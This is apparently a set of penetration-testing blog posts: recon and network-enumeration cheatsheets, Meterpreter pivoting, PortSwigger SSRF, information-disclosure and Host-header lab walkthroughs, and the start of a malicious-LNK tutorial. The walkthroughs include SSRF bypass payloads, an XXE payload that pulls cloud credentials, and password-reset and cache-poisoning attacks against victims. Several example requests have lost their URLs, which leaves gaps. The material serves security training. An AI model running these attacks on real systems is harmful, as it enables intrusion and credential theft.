Enumeration Cheatsheets

Active & Passive Recon Cheatsheet

This post contains various commands and methods for performing passive recon of a target. This article will be expanded upon as time goes on.

Performing Whois lookups

We can utilize public WHOIS databases to perform lookups on domains.

It may also be worthwhile utilizing other services, such as Namecheap. Once you know who the registrar is, it is typically best to perform a Whois lookup for your target using their domain registrar.

We can also utilize a Kali terminal for this:
whois <targetDomain>

You can use additional options to instruct the tool to use a different server.
whois -h whois.godaddy.com <targetDomain>

Performing DNS enumeration with Nslookup

To perform a lookup of the A records against a particular domain:
nslookup <targetDomain>

To look up the mail records:
nslookup -query=mx <targetDomain>

To look up Nameservers:
nslookup -query=ns <targetDomain>

To get all records that are available:
nslookup -query=any <targetDomain>

You can also drop into nslookup with no parameters interactively.

While interactively working with nslookup, you can set your query:
set q=mx

You can also set your server if you wanted to query a different DNS server than your default one:

Performing DNS enumeration with Dig

To extract A records and Namerservers of a domain:
dig <targetDomain>

To query just A records:
dig <targetDomain> A

You can also limit the output to a specific record, and just return the answer section:
dig +nocmd <targetDomain> MX +noall +answer

Can attempt a DNS Zone transfer:
dig +nocmd <targetDomain> AXFR +noall +answer @<targetDNSServer>

To see more about a DNS Zone Transfer, see https://infinitelogins.com/2020/04/23/performing-dns-zone-transfer/

Automating DNS Enumeration

Fierce can be used to enumerate subdomains, IP ranges, and hostnames by using public DNS queries, zone transfer attempts, and brute forcing techniques.
fierce -dns <targetDomain>

You can also specify a specific DNS server for the tool to use.
fierce -dns <targetDomain> -dnsserver <targetNamserver>

We can also leverage a tool called DNSEnum to do something similar. It will look for the A records of the target domain, looks up the NS and MX records. Finally, it will attempt a zone transfer attack.
dnsenum <targetDomain>

You can also specify a specific DNS server for the tool to use. Sometimes the results will differ.
dnsenum <targetDomain> --dnsserver <targetNamserver>

You can use DNSEnum to brute force subdomains as well.
dnsenum <targetDomain> -f <dictionaryList>

DNSMap can also be used, but it doesn’t do much other than brute-force with a built-in wordlist.
dnsmap <targetDomain> -w wordlist.txt -r /tmp/results.txt

DNSMap to enumerate subdomains in bulk fashion:
dnsmap-bulk.sh domains.txt /tmp/results.txt

DNSRecon is an ‘all-in-one’ tool that can do most everything.
dnsrecon -d <targetDomain>

Google and Bing Dorking

Bing offers a query filter that returns websites hosted on a given IP address by entering the following Bing search:

Search Google for results within a particular website:

Search Google for specific filetypes:
insite:<targetURL> filetype:pdf

Search Google for particular text in title:
insite:<targetURL> intitle:admin
insite:<targetURL> intitle:index of

Search Google for particular text in body:
insite:<targetURL> intext:admin
insite:<targetURL> intext:index of

Additional payloads are found here. https://gist.github.com/clarketm/919457847cece7ce40323dc217623054

Various Tools:

Enumeration Cheatsheets

Network Enumeration and Host Discovery Cheatsheet

This post contains various commands and methods for performing enumeration of a network. This article will be expanded upon as time goes on.

Quick Host Discovery using ARP Protocol

Using NETDISCOVER to perform an ARP scan:
sudo netdiscover -i <interface> -r <targetSubnet>

Using ARP-SCAN to perform an ARP scan:
sudo arp-scan -I <interface> <targetSubnet>

Identifying your Immediate Routes and Gateways

Windows will show the default gateway:
ipconfig /all

In Linux, you can use TRACEROUTE:
traceroute <targetIP> -m 5

In Linux, you can look at the routing table:

To see which routes you may have access to:
ip route show dev <interface>

Portscanning with Nmap and Hping


My go-to nmap command:
sudo nmap -sV -sC -p- <ipAddr> -oA nmap/top1000

Using Nmap for a pingsweep without port discovery:
sudo nmap -PE -sn -n <ipRange> -oA nmap/pingsweep

Using Nmap for pingsweep, with top 20 port discovery:
sudo nmap -PE -n <ipRange> --top-ports 20

Using Nmap to scan UDP ports:
sudo nmap -sU <ipRange>

Using Nmap for ARP Scan:
sudo nmap -PR -sn <ipRange>

Sometimes filtering may in place to only allow certain source ports on the network. To get around that, we could use the following Nmap command to scan DNS port 53 with a source port of 53:
sudo nmap -sS --source-port 53 -p 53 <ipRange> -oA nmap/dns-servers


Hping is also useful as its always a good idea to get a 2nd opinion. The following will scan a specific port with 3 SYN packets.
sudo hping3 -S <ipAddr> -p <port> -c 3

To use Hping to scan a port range, but exclude port 525:
sudo hping3 -S --scan '80,445,500-550,!525' <ipAddr> -V

To use Hping for UDP scans:
sudo hping3 -2 --scan 1-1000 <ipAddr>

Sometimes filtering may in place to only allow certain source ports on the network. To get around that, we could use the following Hping command to scan DNS port 53 with a source port of 53:
sudo hping3 -S -s 53 -k -p 53 <ipAddr>

Host Enumeration Using FPing

We can leverage fPing to do a quick search on the network for alive hosts.
fping -A <targetIP>

We can also add an option to limit the number of retries attempted, speeding up the execution.
fping -A <targetIP> -r 0

Adding another option will allow us to view the time it took to retrieve the reply.
fping -A <targetIP> -e

To sweep a network efficiently, without retires, and only display the alive hosts:
fping -q -a -g -r 0 -e

From within a Meterpreter session:

Display the network adapters and their associated IP addresses:

Display nearby machines on the network:

Display entries on the local routing table:

Perform an ARP scan for a given IP range:
run arp_scanner -r

View existing configured routes in Metasploit:
route print

Forward specific port to a remote host, through the Meterpreter session. Any traffic send to the local port of our localsystem will route through the Meterpreter session.
portfwd add -l <localPort> -p <remotePort> <destinationIP>

Handy Metasploit modules:

Run a ping sweep through a compromised system:
use post/multi/gather/ping_sweep

Configure a Metasploit route for pivoting:
use post/multi/manage/autoroute

You can also configure a route while interacting with a Meterpreter session:
run autoroute -s <subnet>

Run a TCP port scan (you may want to configure a route first):
use auxiliary/scanner/portscan/tcp

Configure a Socks4 proxy for pivoting. Any traffic routed through the proxy will route through the Metasploit routing table:

Windows Utilities (LOLbins)

Display network adapters, DNS servers, and additional details:
ipconfig /all

Identify details about the DNS cache:
ipconfig /displaydns

To view details about ports and services on the system:
netstat -ano

Tips & Tricks

Pivoting to Attack Remote Networks Through Meterpreter Sessions and Proxychains

How to configure the tools

Once you have a Meterpreter session for a compromised machine, you can utilize Metasploit to start leveraging that machine as a proxy. This is very useful, as you will be able to run tools from your attacker system, outside the network, against systems that are local to the network you’ve compromised a single host on.

Configuring the route in Metasploit

To begin, we’re going to assume you already have an active Meterpreter session. We’ll start by backgrounding your Meterpreter session, and using the following module.
use post/multi/manage/autoroute

There will be an option where you can select the victim session.

And configure the victim’s subnet. Any traffic issued by Metasploit to an address within this subnet will be routed through the previously selected session.

You can run the following command to confirm your route has been successfully created.
route print

Configuring the Socks4 Proxy

Now that we have the route configured, we’ll switch to a different module.
use auxiliary/server/socks_proxy
set VERSION 4a

Once running, this module will forward any traffic issue to its SRVHOST and SRVPORT through the Metasploit routing table. Since we just added an entry in our routing table to send traffic through Meterpreter session 1, this should allow us the ability to utilize tools on our local attacking system. If the default port of 1080 works for you, leave the default and run the module.

Now, let’s head over to our attacker system and adjust our Proxychains configuration file.
sudo vi /etc/proxychains.conf

Adjust the last line of the file to route traffic through the Socks4 proxy listening at on port 1080 (this is the configuration of our socks4a module in Metasploit).
socks4 1080

Running tools through the proxy

Finally, we can now utilize tools on our local filesystem to interact with hosts on the remote network.
proxychains ssh root@<remoteHost>

To utilize Nmap, you’ll need additional flags. Your scan will also take longer than it would without the pivot.
sudo proxychains nmap -sT -Pn -n <targetIP> --top-ports 50

To open a web browser that routes through the proxy, you can use:
proxychains firefox

Alternatively, you could also configure your browser to route through the proxy in the advanced settings, or you could leverage a add-in, such as FoxyProxy.

Keep in mind that since we’re routing traffic through the Meterpreter session, this session needs to stay active in order for us to reach hosts on the remote subnet. Also note that some tools, such as the default Nmap scan, may not work as they would if you were scanning a target directly.

Exploitation via pivoting

Once a route has been set up in Metasploit, you can now communicate to any host that the compromised host can communicate to. Assuming you know valid user credentials (or a NTLM hash), we can leverage PSExec to gain a shell on the remote system.
use exploit/windows/smb/psexec

Before running the above mentioned module, make sure you’ve already configured a route in Metasploit that will forward traffic destined to the remote machine through your active Meterpreter session.

In the event that the remote machine you wish to target does not have access to the internet, you can add a 2nd route in Metasploit so that traffic destined to address of your existing compromised connection will route through the Metasploit routing table. This would allow you to configure the LHOST of your Meterpreter payload to the local IP address on the host of your existing Meterpreter session.

Cleaning Up

It’s always important to clean up once you’re finished. From within Metasploit, we can stop the Socks4 proxy by running the following command to kill all jobs.
jobs -K

Then you can flush the routing table entry you configured.
route flush

WebApp 101

WebApps 101: Server-Side Request Forgery (SSRF) and PortSwigger Academy Lab Examples

Note: Majority of the content here was ripped directly from PortSwigger.net.

Table of Contents:

  • What is Server-Side Request Forgery?
  • What is the impact of these attacks?
    • SSRF attacks against the server itself
    • SSRF attacks against other back-end systems
  • Finding Attack Surface for SSRF
    • What do we look for?
    • Where do we look?
    • Commonly chained exploits
  • Basic Bypass Techniques
    • Bypassing black-list based defenses
    • Bypassing white-list based defenses
  • Exploitation Examples
    • Example 1: Basic SSRF against the local server
    • Example 2: Basic SSRF against another back-end system
    • Example 3: SSRF with blacklist-based input filter
    • Example 4: SSRF with whitelist-based input filter
    • Example 5: SSRF with filter bypass via open redirection vulnerability
    • Example 6: Exploiting XXE to perform SSRF attacks

What is Server-Side Request Forgery?

SSRF is a vulnerability that allows attackers to induce a web server to make an HTTP request that they control. Typically, this would allow the attacker to see things that they wouldn’t otherwise be able to see. For example, having the webserver make a request back to itself or to another device on the internal network it is connected to make allow attackers to extract information that isn’t publicly available.

What is the impact of these attacks?

It is common for infrastructure to be configured to trust other devices within the same internal network, or to trust devices that are managed by the same organization and their trusted third-parties. Because of this, SSRF may allow attackers to bypass authentication restrictions, location or IP-based restrictions, and more.

SSRF attacks against the server itself

In these type of attacks, the attacker will induce a HTTP request to make the webserver issue a request back to its own local loopback interface (oftentimes or localhost). This could be beneficial if restrictions are configured within parts of the webapp that are only visible when you’re accessing them locally from the webserver itself. For example, say there is an admin panel that isn’t visible to external users, but is visible to users who access it from the webserver itself. Issuing a request like this may allow an attacker to gain unauthorized access.

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118


Why does this work? There are a number of reasons why a webserver may implicitly trust requests made by itself.

  • Admins may rely on front-end load balancers or web application firewalls to implement access control checks BEFORE the request hits the webserver. When a connection is made back to the server itself, the check is bypassed.
  • For disaster recovery purposes, applications may allow admin access without logging in for any users coming from the local machine.
  • The administrative interface might be listening on a different port number than the main application, which may make it not directly reachable from the outside.

SSRF attacks against other back-end systems

It is common for internal systems to be less protected than external systems on the internet. Because of this, compromising an externally facing system with a SSRF vulnerability may allow you to interact with other devices on the internal network that trust that webserver when communicated to from INSIDE the network on non-routable private IP addresses. In many cases, internal back-end systems contain sensitive functionality that can be accessed without authentication by anyone who is able to interact with the systems.

For example, lets say there is an administrative interface at the back-end URL Here, an attacker can exploit the SSRF vulnerability to access the administrative interface by submitting the following request.

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118


Finding Attack Surface for SSRF

Knowing about the vulnerability is great, but how do we actually hunt for it? Where do we look? What other vulnerabilities are commonly chained? Let’s answer those questions.

What do we look for?

Full URLS in Requests. This is the easiest to spot, as you will typically see the HTTP/HTTPS handlers in the request.

Partial URLs in Requests. Sometimes an application will only place a hostname or part of a URL path into the request parameters. The value submitted is then incorporated server-side into a full URL that gets requested. These may be harder to spot, and harder to exploit, because you do not have control of the entire URL that gets requested.

URLs within data formats. Some applications transmit data in formats whose specification allows the inclusion of URLs that might get requested by the data parser for the format. For example, an application that accepts and parses XML code may be vulnerable to XXE Injection, and in turn be vulnerable to SSRF via XXE.

Where do we look?

SSRF vulnerabilities are commonly found in the following:

  • Anytime an application makes a call to an API.
  • Look in URLs or Parameters that issue requests to HTTP/HTTPS handlers.

Commonly chained exploits

  • Open Redirects may help cause more impact to an SSRF vulnerability. See lab example below.
  • When the application parses XML code, XXE Injection may be utilized to cause an SSRF. See lab example below.

Basic Bypass Techniques

It is common for applications to implement defenses the prevent exploitation of SSRF attacks. This section will explain various defenses and provide some bypass techniques to try.

Bypassing black-list based defenses. Some applications will block input containing hostnames like, localhost, or sensitive URLs like /admin. To circumvent the filter, you can use these techniques.

  • Using an alternative IP representation of, such as 2130706433, 017700000001, or 127.1.
  • Registering your own domain name that resolves to You can use spoofed.burpcollaborator.net for this purpose.
  • Obfuscating blocked strings using URL encoding or case variation.

Bypassing white-list based defenses. Some applications will only allow input that matches, begins with, or contains a whitelist of permitted values. The following can be used to circumvent this filter.

  • You can embed credentials in a URL before the hostname, using the @ character. For example: https://expected-host@evil-host.
  • You can use the # character to indicate a URL fragment. For example: https://evil-host#expected-host.
  • You can leverage the DNS naming hierarchy to place required input into a fully-qualified DNS name that you control. For example: https://expected-host.evil-host.
  • You can URL-encode characters to confuse the URL-parsing code. This is particularly useful if the code that implements the filter handles URL-encoded characters differently than the code that performs the back-end HTTP request.
  • You can add a period (.) to the URL within the parameter. If the Regex used for whitelisting is misconfigured, this could bypass the restriction.
  • You can use combinations of these techniques together.

While watching Nahamsec’s stream, he tried bypassing using the following when he had a parameter that looked like this: stockAPI=http://localhost/admin/delete?username=carlos

 · http://%2f%2flocalhost%2fadmin%2fdelete?username=carlos
 · http://%2f%2flocalhost/login/../%2fadmin%2fdelete?username=carlos
 · http://%2f%2flocalhost/x/../%2fadmin%2fdelete?username=carlos
 · https://%2f%2flocalhost/login/../%2fadmin%2fdelete?username=carlos
 · http://%2f%2flocalhost/////admin%2fdelete?username=carlos
 · http://localhost/ADMIN/delete?username=carlos
 · http://localhost/AdMiN/delete?username=carlos 

Exploitation Examples

Example 1: Basic SSRF against the local server

In this example, browsing to the /admin directory returns an error stating that its only available locally from the server, or for signed in administrators.

However, a SSRF vulnerability exists within the “Check Stock” functionality of the website. Checking the stock of an item will issue a request that talks to a back-end API, which you can see in the following request.

Modifying the StockAPI parameter allows us to issue a request from the webserver, to itself, and delete a user from the admin panel.

Example 2: Basic SSRF against another back-end system

In this example, there is a device on the internal network that allows unauthenticated access to the admin interface. Since we can’t access this device externally, we’ll need to leverage the SSRF vulnerability on the externally facing webserver to communicate with it. To begin, we know that the internal network uses the following internal network scheme: Armed with this knowledge, we’ll start by making a webrequest that looks like this.

We can actually leverage this vulnerability to scan the internal network for other devices. To automate this, we’ll send this request to Burp Intruder.

  • Click “Clear §”, change the stockApi parameter to then highlight the final octet of the IP address (the number 1), click “Add §”.
  • Switch to the Payloads tab, change the payload type to Numbers, and enter 1, 255, and 1 in the “From” and “To” and “Step” boxes respectively.
  • Click “Start attack”.

After some time, the attack should reveal that an address on the LAN returned a 200 OK.

Throw that request into Repeater, and update the parameter to include instructions for deleting a user to complete the challenge.

Example 3: SSRF with blacklist-based input filter

In this example, there are two protections that we need to bypass.

  • First, we have to bypass the protections that prevent or localhost. To do so, we’ll sent a request to 127.1 and confirm that we receive a response.

Second, the word “admin” is blacklisted. To get around this, we can URL-encode a character in the word, such as the ‘a’. This will encode to %61. However, this is blocked as well, so we can then encode the % sign in %61. This is referred to as “Double URL Encoding”. When ‘a’ is double URL Encoded, this would be represented as %2561. Issuing the following request also returns a 200 OK, confirming we’ve bypassed the filter.

Finally, we can issue the request to delete the user.

Example 4: SSRF with whitelist-based input filter

In this example, there are a handful of bypasses we’ll need to implement.

First, we’ll try and issue a request to localhost. We find that the returned response tells us “stock.weliketoshop.net” must be included in the request.

Knowing we’ll have to include that text in the request, we test to see if the application will accept embedded credentials by adding username@ to our request. Doing so returns a different response, as if the webserver attempted to connect to “username”.

This is great, but it’s pointless if we don’t have a way to indicate a URL fragment. We can usually utilize the # sign for this, but the application rejects requests that contain that character. To get around this, we’ll Double URL Encode the # sign so that it is represented by %2523. Notice how now the request goes through.

Finally, we can replace “username” with localhost, and see that the response returns a webpage! By appending /admin/delete?username=carlos, we can issue a request that deletes the Carlos user.

Example 5: SSRF with filter bypass via open redirection vulnerability

In this example, we have an application that contains a SSRF along with an Open Redirection. By chaining these two together, we’re able to force the webserver to issue a request that deletes an user from within the admin panel.

To begin, we’ll find the open redirect vulnerability. This is present within the “Next Product” option. Click that returns a URL that looks like the following:


We find that anything placed into the above path parameter will get redirected. For example, the following URL would redirect to google.com


Knowing this, we can place our SSRF payload within the path parameter of the open redirect.


Then we can abuse the SSRF to force the webserver to issue the request. Doing so will delete the Carlos user.

Example 6: Exploiting XXE to perform SSRF attacks

In this example, we have a web application that parses XML input and returns any unexpected values in the response. Because of this, we can inject an XXE that issues a SSRF on our behalf, which leads to exposed EC2 credentials.

To begin, we’ll capture the “Check Stock” request and Insert the following external entity definition in between the XML declaration and the stockCheck element:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM ""> ]>

Then replace the productId number with a reference to the external entity: &xxe;

The response should contain “Invalid product ID:” followed by the response from the metadata endpoint, which will initially be a folder name. Iteratively update the URL in the DTD to explore the API until you reach /latest/meta-data/iam/security-credentials/admin. This should return JSON containing the SecretAccessKey.

WebApp 101

WebApps 101: Information Disclosure Vulnerabilities and PortSwigger Lab Examples

Note: Majority of the content here was ripped directly from PortSwigger.net.

Table of Contents:

  • What is information disclosure?
  • What are some examples of information disclosure?
  • How to prevent information disclosure vulnerabilities
  • Practical Lab Examples
    • Example A: Information disclosure in error messages
    • Example B: Information disclosure on debug page (using comments)
    • Example C: Source code disclosure via backup files
    • Example D: Authentication bypass via information disclosure

What is information disclosure?

Information disclosure, also known as information leakage, is when a website unintentionally reveals sensitive information to its users. Depending on the context, websites may leak all kinds of information to a potential attacker, including:

  • Data about other users, such as usernames or financial information
  • Sensitive commercial or business data
  • Technical details about the website and its infrastructure

The dangers of leaking sensitive user or business data are fairly obvious, but disclosing technical information can sometimes be just as serious. Although some of this information will be of limited use, it can potentially be a starting point for exposing an additional attack surface, which may contain other interesting vulnerabilities. The knowledge that you are able to gather could even provide the missing piece of the puzzle when trying to construct complex, high-severity attacks.

Occasionally, sensitive information might be carelessly leaked to users who are simply browsing the website in a normal fashion. More commonly, however, an attacker needs to elicit the information disclosure by interacting with the website in unexpected or malicious ways. They will then carefully study the website’s responses to try and identify interesting behavior.

What are some examples of information disclosure?

Some basic examples of information disclosure are as follows:

  • Revealing the names of hidden directories, their structure, and their contents via a robots.txt file or directory listing
  • Providing access to source code files via temporary backups
  • Explicitly mentioning database table or column names in error messages
  • Unnecessarily exposing highly sensitive information, such as credit card details
  • Hard-coding API keys, IP addresses, database credentials, and so on in the source code
  • Hinting at the existence or absence of resources, usernames, and so on via subtle differences in application behavior

How to prevent information disclosure vulnerabilities

Preventing information disclosure completely is tricky due to the huge variety of ways in which it can occur. However, there are some general best practices that you can follow to minimize the risk of these kinds of vulnerability creeping into your own websites.

  • Make sure that everyone involved in producing the website is fully aware of what information is considered sensitive. Sometimes seemingly harmless information can be much more useful to an attacker than people realize. Highlighting these dangers can help make sure that sensitive information is handled more securely in general by your organization.
  • Audit any code for potential information disclosure as part of your QA or build processes. It should be relatively easy to automate some of the associated tasks, such as stripping developer comments.
  • Use generic error messages as much as possible. Don’t provide attackers with clues about application behavior unnecessarily.
  • Double-check that any debugging or diagnostic features are disabled in the production environment.
  • Make sure you fully understand the configuration settings, and security implications, of any third-party technology that you implement. Take the time to investigate and disable any features and settings that you don’t actually need.

Practical Lab Examples

Example A: Information disclosure in error messages

In this example, we have an eCommerce site that uses Product IDs to track its products. When you select a project, the URL presents ?productID=1 as a parameter. By modifying your request to use a non-valid number, we’re able to trigger an error message that leaks the Apache version.

Example B: Information disclosure on debug page (using comments)

In this example, we’re able to leverage Burp Suite to crawl the site and look for comments in the source code. One of the comments hint at a directory present at /cgi-bin/phpinfo.php. Browsing to this allows us to enumerate a wealth of information about the website.

To automate hunting for comments, you can use Burp:

  1. Navigate to Target and select Site Map.
  2. Right click the correct target, select Engagement Tools, and select Find Comments.

Example C: Source code disclosure via backup files

In this example, robots.txt shows us a /backup directory. That directory allows for listing to anybody, so we’re able to see a backup file in .bak format. Viewing the contents of this file reveals a hardcoded credential in plain text.

Always check robots.txt and source code!

Example D: Authentication bypass via information disclosure

In this example, we try to access the admin interface at /admin. However, browsing to this page returns an error stating that it is only accessible when accessing it locally.

To debug this a bit, we decide to intercept the default GET /admin request, and change it to a TRACE /admin request. Doing so shows us that the webserver adds an additional header that contains our IP address.

Assuming this is what is used to determine whether or not we’re locally accessing the page, we will append our own value for this header to every request we make to the server. To automate this, we can use Burp Suite:

  1. Navigate to Proxy and select Options.
  2. Find the Match and Replace section and click Add.
  3. Leave the Match blank, but enter the following into Replace: X-Custom-IP-Authorization:

Now reissuing the GET /admin request bypasses the local IP address restriction, which we were only able to determine because of the information disclosure.

WebApp 101

WebApps 101: HTTP Host Header Attacks and PortSwigger Academy Lab Examples

Note: Majority of the content here was ripped directly from PortSwigger.net.

Table of Contents:

  • What is an HTTP Host Header?
  • What Are Host Header Injection Attacks?
  • How Do We Test for Attacks?
    • Checking for flawed validation
      • Insert the payload within the port field
      • Provide arbitrary domain name containing the whitelisted domain name
    • Sending ambiguous requests to bypass front-end systems.
      • Inserting duplicate Host headers
      • Supply an absolute URL
      • Add line wrapping via space character
    • Additional Technique: Inject Host Override Headers
    • Additional Technique: Brute-Forcing Virtual Hosts
  • Exploitation Examples
    • Example 1A: Basic password reset poisoning (Uses Host Header)
    • Example 1B: Password reset poisoning via middleware (Uses X-Forwarded-Host Header)
    • Example 1C: Password reset poisoning via dangling markup (Uses Arbitrary Port Within Host Header)
    • Example 2: Web cache poisoning via ambiguous requests (Uses X-Cache Header)
    • Example 3: Host header authentication bypass (Changing Host Header to localhost)

What is an HTTP Host Header?

The HTTP Host header is mandatory, and specifies the domain name that the client wants to access. Modifying this header may allow you to view various webpages against the same server, if that server is configured to respond to multiple virtual hosts. In addition to virtual host routing, the Host header is important for a load-balancer or third-party intermediary (think CloudFlare) to know where to route traffic once the request comes in and is processed.

For example, a user browsing to a website at http://example.com/page-1 will issue a request that looks like the following:

GET /page-1 HTTP/1.1
Host: example.com

Example.com may resolve to an IP address that many other domain-names respond to. Because of this, multiple domain names may be sent to the same webserver or resource, and that resource needs to be able to know where to send traffic. This is done by looking at the Host header.

What Are Host Header Injection Attacks?

When a payload is injected directly into the Host header of a HTTP Request, this is referred to as a Host Header Injection Attack. If the webserver fails to validate or escape the Host Header properly, this could lead to harmful server-side behavior.

As the Host header is in fact user controllable, this practice can lead to a number of issues. If the input is not properly escaped or validated, the Host header is a potential vector for exploiting a range of other vulnerabilities, most notably:

  • Web cache poisoning
  • Business logic flaws in specific functionality
  • Routing-based SSRF
  • Classic server-side vulnerabilities, such as SQL injection

How Do We Test for Attacks?

The process for testing this is very simple. Just intercept the Request in Burp, and modify the Host header to an arbitrary value. The webserver will likely respond in one of two ways:

  1. The page you intended to test will display. This typically occurs when the site you’re testing is configured as the webserver’s default or fallback option when a improper Host header is provided.
  2. The server returns an error. This is more common, especially in cases when multiple websites are being hosted by the same webserver or front-end.

Checking for flawed validation

Instead of returning a “Invalid Host Header” response, you may find that your request is blocked as a security measure. This doesn’t mean that the server isn’t vulnerable, but you do need to try and understand how the server parses the host header. The following contains a list of possible bypass techniques:

Insert the payload within the port field. The domain name may be checked, but the port number may not be.

GET /example HTTP/1.1
Host: vulnerable-website.com:bad-stuff-here

Provide arbitrary domain name containing the whitelisted domain name. Validation may be checking simple to see if the target domain is present in the response. By registering an arbitrary domain name that ends with the same sequence of characters as a whitelisted one, you may be able to bypass defenses.

GET /example HTTP/1.1
Host: notvulnerable-website.com

Sending ambiguous requests to bypass front-end systems.

In cases were a load balancer or CDN is in place acting as the front-end server, we may be able to bypass security checks on the front-end server using one request, but have the application process the request on the back-end differently. For example, the following bypass techniques can be deployed.

Inserting duplicate Host headers. This is particularly useful when your request is processed by multiple webservers (such as a load-balancer or CDN). Different systems may handle the request differently, giving one header precedence over the other one, which can effectively override its value. let’s say the front-end gives precedence to the first instance of the header, but the back-end prefers the final instance. Given this scenario, you could use the first header to ensure that your request is routed to the intended target and use the second header to pass your payload into the server-side code.

GET /example HTTP/1.1
Host: vulnerable-website.com
Host: bad-stuff-here

Supply an absolute URL. Officially, the request line should be given precedence when routing the request, but this isn’t always the case in practice. You may be able to exploit the same behavior mentioned above by issuing a request similar to the one below.

GET https://vulnerable-website.com/ HTTP/1.1
Host: bad-stuff-here

Note: Don’t forget to modify the protocol from http to https and vice versa to see the behavior.

Add line wrapping via space character. Sometimes adding a space character to the Host header may interpret the indented header as a wrapped line. This may cause the app to treat it as the preceding header’s value. This is especially helpful if the website blocks requests that contains multiple Host headers, as it may not register the indented Host header as an additional one.

GET /example HTTP/1.1
 Host: bad-stuff-here
Host: vulnerable-website.com

Additional Technique: Inject Host Override Headers

If we can’t override the Host Header using one of the above mentioned techniques, perhaps we can inject our payload into a header that will override it for us. For example, that could be one of the following:

  • X-Host
  • X-Forwarded-Server
  • X-HTTP-Host-Override
  • Forwarded
GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: bad-stuff-here

Additional Technique: Brute-Forcing Virtual Hosts

Companies sometimes make the mistake of hosting publicly accessible websites and private, internal sites on the same server. Servers typically have both a public and a private IP address. As the internal hostname may resolve to the private IP address, this scenario can’t always be detected simply by looking at DNS records.

In some cases, the internal site might not even have a public DNS record associated with it. Nonetheless, an attacker can typically access any virtual host on any server that they have access to, provided they can guess the hostnames. If they have discovered a hidden domain name through other means, such as information disclosure, they could simply request this directly. Otherwise, they can use tools like Burp Intruder to brute-force virtual hosts using a simple wordlist of candidate subdomains.

Exploitation Examples

So we’ve used the techniques mentioned above and have identified that a website is vulnerable to a Host Header Injection attack. How do we actually exploit this, and what is the impact? These examples will help you answer those questions.

Example 1A: Basic password reset poisoning (Uses Host Header)

To begin, we start by sending a password reset request for our own account. This is received in our email and we observe that the reset link contains a unique token that is used to issue the reset request.

If we issue another password reset request, but this type modify the Host header to a domain that we control (nope.com), the page returns a success 200 message.

Heading over to our email, we see that the password reset link is generated for https://nope.com.

Armed with this knowledge, we can craft our malicious request by submitting a password reset, but modifying the Host Header to point to a domain that we control.

Once the link that is sent to Carlos gets clicked, it should issue a request to our malicious domain. The request should include Carlos’ valid password reset token.

Now that we have his token, we can reset Carlos’ password by issuing the proper POST request.

Example 1B: Password reset poisoning via middleware (Uses X-Forwarded-Host Header)

This example is basically the same as the above, except modifying the Host Header returns an error. Instead, we can inject our own X-Forwarded-Host header that contains an arbitrary domain.

Which then generates an email containing a password reset token attached to a domain that we can control.

So again, we update the X-Forwarded-Host Header within a new password reset request, but we’ll point it to a domain that we actually control and modify the user to be Carlos.

This will generate an email containing a link. Once that link is clicked by Carlos, a password reset request is sent to our domain that contains the token we need.

Throwing that into Burp allows us to reset Carlos’ password.

Example 1C: Password reset poisoning via dangling markup (Uses Arbitrary Port Within Host Header)

In this example, a valid password reset request will send an email containing a new password.

We find that modifying the domain within the Host Header within our request returns an error, but modifying the port does not return an error.

Heading back to our mailbox, we can confirm that the arbitrary value we added to the port number is injected into the email message that gets sent – But we have to analyze this either by viewing the source code of the page, the response directly in Burp, or the Raw email message. Viewing the email raw is the easiest.

Armed with these details, we can analyze the message and see that we have an injection point that is reflected inside a link as an unescaped, single-quoted string. We’ll issue another password reset request, but this time we’ll do it for Carlos and use the port to break out of the string and inject a dangling-markup payload pointing to our exploit server.

The result is a mangled email being sent to the victim, but the AV is used to scan the link that we injected. This issues a GET request to our exploit server that contains the victims newly generated password.

Example 2: Web cache poisoning via ambiguous requests (Uses X-Cache Header)

In this example, we find that caching is in use by observing the “X-CACHE” Header. In addition to this, we find that we’re able to inject an arbitrary domain within a Javascript tag by adding a 2nd Host Header to our request. Combining these two items could allow us to run Javascript that we control in the browser of any victim that is served our cached webpage.

To begin, we notice that a simple GET request to the root of the site returns a 200 OK that isn’t cached.

However, sending a 2nd request to the same page quickly does confirm that caching is in use.

To request a unique page each time, we’ll just add a fake parameter to our request that we can increment when we don’t wish to retrieve a cached page. For example, I’ll add ?cb=1234 to the request.

Now let’s increment this value one more time, and see what happens when we try to inject a 2nd Host Header that contains an arbitrary domain. We see that the returned response was not cached, and the 2nd Host Header we provided was reflected into a Javascript Script tag.

We find that removing the 2nd Host Header and issuing a 2nd request to the same page will return our injected payload in the response, as long as the returned response is cached.

To get malicious with this, let’s create our own Javascript file on our exploit server. We’ll need to make sure that it contains the same file name/path as provided in the response from the webserver. That path is /resources/js/tracking.js.

With our payload crafted, make note of the URL that it lives at. Next, let’s go back into Burp and increment our ?cb param again. Before submitting the request, make sure to also include a 2nd Host Header that points to domain hosting your .js payload.

Quickly, we’ll remove the 2nd Host Header from our request to confirm the returned Response is cached and still contains our injected Payload.

Finally, we can simulate a user browsing to the malicious page and triggering the Javascript.

To solve the lab, remove the ?cb parameter and reissue the requests so that the Javascript payload will pop when a victim accesses the Home Page.

Example 3: Host header authentication bypass (Changing Host Header to localhost)

In this example, we find that an admin panel is available at /admin, but the page won’t load unless you’re accessing it locally.

However, intercepting the request and adjusting the Host Header to localhost bypasses this requirement.

And now we can delete users.

Example 4: Routing-based SSRF

This example requires access to Burp Pro. Will update this post once I have access to this tool.

Tips & Tricks

Port Forwarding Through SSH Connections

There are multiple ways to configure SSH for port forwarding, and this post intends to serve as a handy cheatsheet that you can reference the next time you need this functionality.

When SSH is Already Established

If you already have an SSH connection up, you can insert SSH command mode by typing the following on a new line:

Then you can issue the following command to configure a local port forward.
-L <attackerPort>:<localPort>

For example, let’s say you’re connected to a machine via SSH and find that a webserver is running on port 52846, but only allows local connections. You can run the following command to forward port 9002 from your Kali machine through the SSH connection and access the webserver.
-L 9002:

Now going to http://localhost:9002 will redirect through the tunnel and display the webpage that is listening on the remote system on port 52846.

Hacking Tutorial

Attacking Active Directory and Open File Shares: Capturing Password Hashes via Malicious LNK Files

If you’ve seen any of my other guides on attacking Active Directory, you’ll have noticed that I love using Responder or Inveigh to capture NTLMv2 hashes. In this tutorial, we’re still going to leverage these tools, but we’re going to force users to send us their hash in a bit different of a way.

Table of Contents:

  • Overview of the Attack
  • Topology of the Network
  • Performing the Attack
  • How Do We Mitigate This?

Overview of the Attack

What is it?

